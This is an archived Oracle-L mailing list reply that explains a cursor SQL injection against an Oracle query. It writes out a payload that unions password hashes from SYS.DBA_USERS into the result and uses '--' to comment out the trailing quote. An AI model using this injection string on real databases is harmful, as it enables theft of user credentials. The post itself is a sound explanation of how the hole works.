Oracle FAQ Your Portal to the Oracle Knowledge Grid
HOME | ASK QUESTION | ADD INFO | SEARCH | E-MAIL US
 

Home -> Community -> Mailing Lists -> Oracle-L -> Re: Cursor Injection Question

Re: Cursor Injection Question

From: Greg Rahn <greg_at_structureddata.org>
Date: Sun, 04 Mar 2007 13:12:51 -0800
Message-ID: <45EB3653.2000302@structureddata.org>


 > Can anybody shed some light on why the double-dashes are needed to exploit the hole?

The cursor is defined as:

SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME = '<string>'

where <string> is passed in as variable.

The string that is being passed in is:

AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS -- The two single quotes are used to result in a single quote contained in the string variable.

When combined we get:

SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME = 'AAAA'
UNION SELECT PASSWORD FROM SYS.DBA_USERS --' The "--" is required to "disable" the end quote from the '<string>' cursor text because the string that was passed in had a end quote and then we concatenated the union part, thus we can not have two end quotes.

Regards,

Greg Rahn
http://structureddata.org

--
http://www.freelists.org/webpage/oracle-l
Received on Sun Mar 04 2007 - 15:12:51 CST

Original text of this message

HOME | ASK QUESTION | ADD INFO | SEARCH | E-MAIL US